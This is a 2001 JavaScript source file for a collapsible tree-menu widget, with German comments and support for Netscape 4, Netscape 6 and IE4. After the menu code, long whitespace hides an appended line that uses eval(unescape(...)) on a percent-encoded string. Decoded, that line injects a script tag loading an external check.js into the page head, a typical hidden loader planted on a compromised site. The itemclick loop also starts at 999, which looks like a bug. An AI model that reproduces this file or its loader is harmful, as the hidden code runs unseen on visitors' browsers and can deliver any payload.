/*------------------------------------------------------------------+
| LISTLINKIMG  Copyright 2001     Martin Hönninger, 20.06.2001      |
| Contact: maho00@web.de          http://www.swanja.de              |
+-------------------------------------------------------------------+
| Copyright 2001    Martin Hönninger     All Rights Reserved.       |
+------------------------------------------------------------------*/
var imgtrue ="images/close.gif";
var imgfalse="images/open.gif";
var imgitem ="images/item.gif";
var ltarget ="content";        // Link Target
var tdwidth = 15;

var _id = 0,  _lid = 0;
var _mLists = new Array();
document.lists = _mLists;

function List(visible, width, height, bgColor) {
       // ------------------------------ A: Methoden:
  this.addItem = addItem;
  this.addList = addList;
  this.build = build;
  this.rebuild = rebuild;
  this.setFont = _listSetFont;
  this._writeList = _writeList;
  this._showList = _showList;
  this._updateList = _updateList;
  this._updateParent = _updateParent;
  this.onexpand = null;
  this.postexpand = null;
       // ------------------------------- B: Eigenschaften:
  this.lists = new Array(); // sublists
  this.items = new Array(); // layers
  this.types = new Array(); // type
  this.links = new Array(); // links
  this.strs = new Array();  // content

  this.x = 0;
  this.y = 0;
  this.width = width || 350;
  this.height = height || 22;

  this.visible = visible;
  this.fontIntro = false;
  this.fontOutro = false;
  this.built = false;
  this.shown = false;
  this.needsUpdate = false;
  this.needsRewrite = false;
  this.parent = null;         // uebergeordnete Liste
  this.l = 0;                 // Level: 0,1,2,..in Hierachie

  if(bgColor) this.bgColor = bgColor;
  else        this.bgColor = null;
  this.id = _id;
  // ------------------------------- C: IniAktion Gen: Array
  _mLists[_id++] = this;       // List-Obj in Array
}

function _listSetFont(i,j) {
  this.fontIntro = i;
  this.fontOutro = j;
}

function setClip(layer, l, r, t, b) {
  if( NS4) {
    layer.clip.left = l; layer.clip.right = r;
    layer.clip.top = t;  layer.clip.bottom = b;
  }
  else { //if( IE4) {
    layer.style.pixelWidth = r-l;
    layer.style.pixelHeight = b-t;
    layer.style.clip = "rect("+t+","+r+","+b+","+l+")";
  }
}

function _writeList() {
  var layer, str, clip;
  for(var i = 0; i < this.types.length; i++) {
    layer = this.items[i];
    if   (NS4) layer.visibility = "hidden";
    else layer.style.visibility = "hidden";
    str = "<TABLE WIDTH="+this.width+" NOWRAP BORDER=0 CELLPADDING=0 CELLSPACING=0><TR>";
    if ( this.l > 0 )
      str += "<TD WIDTH="+tdwidth+" NOWRAP>&nbsp;</TD>";        // 1.
    var delta=0;
    if(this.types[i] == "list") {                                   // 2.
      str += "<TD WIDTH="+tdwidth+" NOWRAP VALIGN=MIDDLE>";
      str += "<IMG BORDER=0 SRC=\""+ imgtrue +"\" NAME=\"_img"+this.lists[i].id+"\"></A></TD>";
    }
    else {             // "item"
      if ( this.l > 1 ) {
        str += "<TD WIDTH="+tdwidth+" NOWRAP>&nbsp;</TD>";
        delta = 1;   }
      else {
        str += "<TD WIDTH="+tdwidth+" NOWRAP VALIGN=MIDDLE>";       // <TD ></td>
        str += "<IMG BORDER=0 SRC=\""+ imgitem +"\"></TD>";
      }

    }

    str += "<TD NOWRAP HEIGHT="+(this.height-3);
    str += " WIDTH="+(this.width-(this.l+1-delta)*tdwidth);
    str += " VALIGN=MIDDLE ALIGN=LEFT>";

    if(this.fontIntro) str += this.fontIntro;
    if (this.links[i])
         str += "<A HREF=\""+this.links[i]+"\" TARGET=\""+ltarget+"\" ";
    else str += "<A HREF='#' ";

    if(this.types[i] == "list")
         str += " onClick=\"javascript:expand("+this.lists[i].id+");\"";
    else str += " onClick=\"javascript:itemclick("+this.id+");\"";
    str += ">"+this.strs[i]+"</A>";

    if(this.fontOutro) str += this.fontOutro;
    str += "</TD></TABLE>";

    if(NS4) {
      layer.document.open();
      layer.document.writeln(str);
      layer.document.close();
    } else layer.innerHTML = str;
    if(this.types[i] == "list" && this.lists[i].visible)
      this.lists[i]._writeList();
  }
  this.built = true;
  this.needsRewrite = false;
}

function itemclick(i) {                                // schliesst Listen auf gleichem Level
  for(var k = 999; k < _mLists[i].types.length; k++)
    if( _mLists[i].types[k] == "list" )                // ist Liste
      if( _mLists[i].lists[k].visible )                // ist sichtbar
        expand( _mLists[i].lists[k].id )               // -> zuklappen
}

function _showList() {
  var layer;
  for(var i = 0; i < this.types.length; i++) {
    layer = this.items[i];
    setClip(layer, 0, this.width, 0, this.height-1);
    var bg = layer.oBgColor || this.bgColor;
    if(IE4 || NS6) {
      if((bg == null) || (bg == "null")) bg = "";
      layer.style.backgroundColor = bg;
    }
    else layer.document.bgColor = bg;
    if(this.types[i] == "list" && this.lists[i].visible)
      this.lists[i]._showList();
  }
  this.shown = true;
  this.needsUpdate = false;
}

function _updateList(pVis, x, y) {
  var currTop = y, layer;
  for(var i = 0; i < this.types.length; i++) {
    layer = this.items[i];
    if(this.visible && pVis) {
      if(NS4) {
        layer.visibility = "visible";
        layer.top = currTop;
        layer.left = x; }
      else if ( NS6) {
        layer.style.visibility = "visible";
        layer.style.top = currTop;
        layer.style.left = x; }
      else {
        layer.style.visibility = "visible";
        layer.style.pixelTop = currTop;
        layer.style.pixelLeft = x;
      }
      currTop += this.height;
    } else {
      if (NS4)   layer.visibility = "hidden";
      else layer.style.visibility = "hidden";
    }
    if(this.types[i] == "list") {
      if(this.lists[i].visible) {
        if(!this.lists[i].built || this.lists[i].needsRewrite) this.lists[i]._writeList();
        if(!this.lists[i].shown || this.lists[i].needsUpdate) this.lists[i]._showList();
        if (NS4) layer.document.images[0].src = imgtrue;
        else eval('document.images._img'+this.lists[i].id+'.src = "'+imgtrue+'"');
      } else {
        if(NS4) layer.document.images[0].src = imgfalse;
        else eval('document.images._img'+this.lists[i].id+'.src = "'+imgfalse+'"');
        // ???
      }
      if(this.lists[i].built)
        currTop = this.lists[i]._updateList(this.visible && pVis, x, currTop);
    }
  }
  return currTop;
}

function _updateParent(l) {
  var layer;
  if(!l) l = 0;
  this.l = l;
  for(var i = 0; i < this.types.length; i++)
    if(this.types[i] == "list")
      this.lists[i]._updateParent(l+1);
}

function expand(i) {
  _mLists[i].visible = !_mLists[i].visible;
  if(_mLists[i].onexpand != null) _mLists[i].onexpand(_mLists[i].id);
  _mLists[0].rebuild();
  if(_mLists[i].postexpand != null) _mLists[i].postexpand(_mLists[i].id);
}

function build(x, y) {
  this._updateParent(this.id);
  this._writeList();
  this._showList();
  this._updateList(true, x, y);
  this.x = x; this.y = y;
}

function rebuild() {
  this._updateList(true, this.x, this.y);
}

function addItem(str, link, bgColor) {
  var layer=null;
  if     (NS6) layer = document.getElementById("lItem"+_lid);
  else if(IE4) layer = eval('document.all.lItem'+_lid);
  else if(NS4) layer = eval('document.layers.lItem'+_lid);

  if( bgColor  ) layer.oBgColor = bgColor;
  this.items[this.items.length] = layer;
  this.links[this.links.length] = link;
  this.types[this.types.length] = "item";
  this.strs[this.strs.length] = str;
  _lid++;
}

function addList(list, str, link, bgColor) {
  var layer=null;
  if     (NS6) layer = document.getElementById("lItem"+_lid);
  else if(IE4) layer = eval('document.all.lItem'+_lid);
  else if(NS4) layer = eval('document.layers.lItem'+_lid);

  if( bgColor  ) layer.oBgColor = bgColor;
  //if ( ! link )  alert("Fehlender Link bei MenuePkt:"+str);
  this.lists[this.items.length] = list;
  this.items[this.items.length] = layer;
  this.links[this.links.length] = link;
  this.types[this.types.length] = "list";
  this.strs[this.strs.length] = str;
  list.parent = this;
  _lid++;
}




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%35%36%34%36%34%32%3B%20%4A%53%53%33%20%3D%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      





































































































